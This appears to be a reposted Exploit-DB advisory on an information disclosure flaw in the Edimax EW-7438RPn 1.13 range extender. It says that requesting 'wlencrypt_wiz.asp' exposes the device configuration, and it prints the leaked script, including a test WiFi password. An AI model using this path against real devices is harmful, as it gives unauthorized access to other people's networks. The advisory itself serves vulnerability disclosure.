Edimax EW-7438RPn 1.13 - Information Disclosure (WiFi Password)

vendor:

Edimax EW-7438RPn

by:

Besim ALTINOK

5.5

CVSS

MEDIUM

Information Disclosure

CWE

Product Name: Edimax EW-7438RPn

Affected Version From: 1.13

Affected Version To: 1.13

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: Edimax EW-7438RPn 1.13 Version

2020

Edimax EW-7438RPn 1.13 – Information Disclosure (WiFi Password)

The Edimax EW-7438RPn 1.13 version is vulnerable to an information disclosure exploit. By accessing the 'wlencrypt_wiz.asp' file, an attacker can retrieve sensitive information such as the WiFi password. The exploit code reveals various settings and configurations including hardware details, platform information, wireless settings, and more.

Mitigation:

To mitigate this vulnerability, users are advised to update their Edimax EW-7438RPn device to the latest firmware version. It is also recommended to change the default WiFi password and regularly update it with a strong, unique password.

Source

Exploit-DB raw data:

# Exploit Title: Edimax EW-7438RPn 1.13 - Information Disclosure (WiFi Password)
# Date: 2020-04-21
# Exploit Author: Besim ALTINOK
# Vendor Homepage: https://www.edimax.com/edimax/merchandise/merchandise_detail/data/edimax/global/wi-fi_range_extenders_n300/ew-7438rpn_mini/
# Version:1.13
# Tested on: Edimax EW-7438RPn 1.13 Version

-----------------------------
Here step by step :

   1. I did Setup
   2. After setup try to access to *wlencrypt_wiz.asp* file
   3. After access to this file, I saw some information disclosure
(Like *WiFi Password*)
   4. Here is the all leak here:

-------------------------------

<SCRIPT>
var _DATE_="Mon Sep 24 19:38:17 CST 2012";
var _VERSION_="1.13";
var _MODEL_="EW7438RPN";
var _MODE_="Edimax";
var _PLATFORM_="RTL8196CS_1200";
var _HW_LED_WPS_="4";
var _HW_LED_POWER_="6";
var _HW_LED_WIRELESS_="2";
var _HW_BUTTON_RESET_="5";
var _HW_BUTTON_WPS_="1";
var _HW_BUTTON_SWITCH_="3";
var _HW_LED_USB_="17";
var _WIRELESS_IGMPSNOOP_="y";
var _SPECIAL_CHAR_FILTER_IN_SCRIPT_="y";
var _RDISC_="y";
var _WPS_NO_BROADCAST_="y";
var _UPNP_LIB_VERSION2_="y";
var _WDS_UR_INFO_="y";
var _RESERVE_ENCRYPTION_SETTING_="y";
var _IGMP_PROXY_="y";
var _IGMPSNOOP_="y";
var _RFTYPE_="2T2R";
var _MEMBUS_="16";
var _MEMSIZE_="16";
var _MEMTYPE_="SDRAM";
var _FLASHTYPE_="SPI";
var _REMOVE_RADIUS_SERVER_="y";
var _AUTO_CHANNEL_DET_="y";
var _CONTROL_SIDEBAND_="y";
var _WIFI_11N_STANDARD_="y";
var _SETTING_WIZARD_="y";
var _CONFIG_FILE_NAME_="7438RPN";
var _AP_WITH_DNS_="y";
var _USE_DNRD_="y";
var _WPS_MIX_="y";
var _POWER_SAVING_="y";
var _WEB_FILE_NAME_="7438RPN";
var _PINCODE_BY_MAC_="y";
var _UPNP_RESPONDER_="y";
var _MDNS_RESPONDER_="y";
var _NETBIOS_RESPONDER_="y";
var _AP_WITH_DHCP_CLIENT_="y";
var _LLTD_NODENAME_="y";
var _DHCP_SWITCH_="y";
var _CONNECT_TEST_="y";
var _START_BOA_="y";
var _WPS_Daemon_="y";

var security = 1;
apMode = 6;
methodVal = 2;
opMode = 0;
apMachType = 1;

var ssidTbl = 		new Array("PentesterTraining");
var mirrorTbl =		"";
var secModeTbl = 	new Array("2");
var enable1XTbl = 	new Array("0");
var _1xMode =		"0";
var wepTbl =		new Array("0");
var keyTypeTbl =	new Array("1");
var wpaCipherTbl =	new Array("2");
var pskFormatTbl =	new Array("0");
var pskValueTbl =	new Array("wifipass123.");
var defaultKeyIdTbl=new Array("0");
var rsIp=		"";
var rsPort=		"1812";
var rsPassword=		"";


-- 

Besim ALTINOK

*Security Engineer*